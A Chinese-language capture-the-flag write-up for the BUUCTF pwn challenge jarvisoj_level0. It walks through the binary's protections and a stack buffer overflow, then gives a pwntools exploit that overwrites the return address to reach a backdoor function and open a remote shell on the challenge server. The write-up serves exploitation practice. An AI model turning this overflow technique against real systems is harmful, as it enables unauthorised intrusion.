BUUCTF-PWN-jarvisoj_level0
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位程序,小端序
未开启RELRO-----got表可写
未开启canary保护-----可能存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
动态链接
ida一下
程序首先用write函数输出了一个Hello,World,又调用了一个函数
明显的栈溢出,buf占0x80字节,而read函数要读取0x200字节,可以覆盖返回地址,
看一下buf的栈区
buf距离返回地址(r所在位置)0x88(0x80+0x8)字节
再查看一下有没有后门函数(直接getshell的函数)
查看一下函数地址为0x400596
exp
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = remote("node4.buuoj.cn",26823)
payload=b'a' * 0x88 + p64(0x00400596)
sh.recvuntil("Hello, World\n")
sh.sendline(payload)
sh.interactive()
运行获得flag